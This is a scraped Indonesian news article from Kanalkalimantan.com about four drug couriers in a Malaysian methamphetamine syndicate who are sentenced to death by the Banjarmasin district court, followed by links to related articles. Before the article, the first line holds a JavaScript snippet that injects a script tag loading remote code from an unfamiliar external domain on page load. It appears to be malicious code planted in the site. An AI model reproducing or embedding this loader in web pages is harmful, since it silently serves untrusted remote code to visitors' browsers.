(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Empat terdakwa kasus penyalahgunaan narkoba jaringan internasional Malaysia, divonis hukuman mati oleh Majelis Hakim Pengadilan Negeri (PN) Banjarmasin, Kamis (25/3/2021) siang.
Persidangan dilaksanakan secara virtual, sementara empat terdakwa duduk di ruang Tahti Polda Kalsel. Majelis hakim yang diketuai oleh Aris Bawono Lenggang dan didampingi dua hakim anggota membacakan putusan dari Pengadilan Negeri Kota Banjarmasin.
Dari pantauan Kanalkalimantan.com, para terdakwa didampingi penasehat hukumnya dari kantor hukum pengacara Ernawati dan Arbain.
Empat terdakwa yakni Sutrianto alias Tri, Anggi Yuvi Ariesta alias Anggi, Muhammad Rizky Rahmadani Febrianto alias Dani dan Andika Prasetyanto alias Dika. Mereka dituntut JPU Jainah agar majelis hakim menjatuhkan vonis pidana mati.
Untuk diketahui, empat terdakwa merupakan warga Kalsel dan Kaltim. Seperti Tri merupakan warga Desa Sukamaju RT 004/ RW 001 Kecamatan Sampanahan, Kotabaru dan Anggi, warga Desa Sukamaju.
Sedangkan, dua terdakwa lainnya Dani dan Dika merupakan warga Balikpapan, Kalimantan Timur. Mereka berhasil dibekuk oleh tim gabungan dari Mabes Polri dan Polda Kalsel pada awal Agustus 2020 silam, di depan halaman Hotel Sienna Inn di Banjarmasin.
Baca juga: Kulkas Korsleting, Empat Toko di Martapura Ludes Dilalap Api
Dalam dakwaan sebelumnya, JPU mengungkapkan empat terdakwa ini merupakan bagian dari sindikat narkoba internasional dari pengembangan kasus sebelumnya.
Yakni pada 2019 dengan barang bukti dari 1,8 kilogram hingga 208 kilogram, serta berlanjut dari sabu 7 kilogram, hingga terbesar 300 kilogram lebih. Jaringan Narkoba besar itu bagian dari sindikat internasional Malaysia-Kaltara-Kaltim-Kalsel.
Perbuatan empat terdakwa yang masing-masing sebagai kurir sabu seberat 308,25 kilogram sabu atau berat bersih 300 kilogram narkotika Golongan I ini terbukti telah melawan hukum.
JPU Jainah menilai secara sah dan menyakinkan para terdakwa ini terbukti melanggar dakwaan primer yakni Pasal 132 ayat (1) jo Pasal 114 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika, yang mengandung unsur permufakatan jahat dalam menjual atau menjadi perantara transaksi narkoba yang melawan hukum.
Baca juga: Buntut ‘Babak Kedua’ Pilgub Kalsel di 5 Kecamatan, Komisioner KPU Banjar Didesak Mundur!
Arbain, Kuasa Hukum Terdakwa mengatakan, kalau pihaknya merasa kecewa dengan keputusan hakim atas vonis mati yang diberikan kepada para terdakwa.
“Karena menurut kami Majelis Hakim telah mengenyampingkan bagaimana keberatan kami dalam pledoi. Yang mana, jelas-jelas nyata tempat pidana tersebut, dilakukan di daerah Kaltara,” ujar Arbain, kepada awak media, usai menjalani proses persidangan.
Oleh karena itu, pihaknya menyampaikan kepada majelis hakim, untuk mengambil langkah pikir-pikir terlebih dahulu untuk menyikapi keputusan ini.
“Insyaallah kami akan mengusahakan banding paling lambat tujuh hari setelah keputusan hari ini,” pungkas Arbain. (kanalkalimantan.com/tius)
Reporter: tius
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.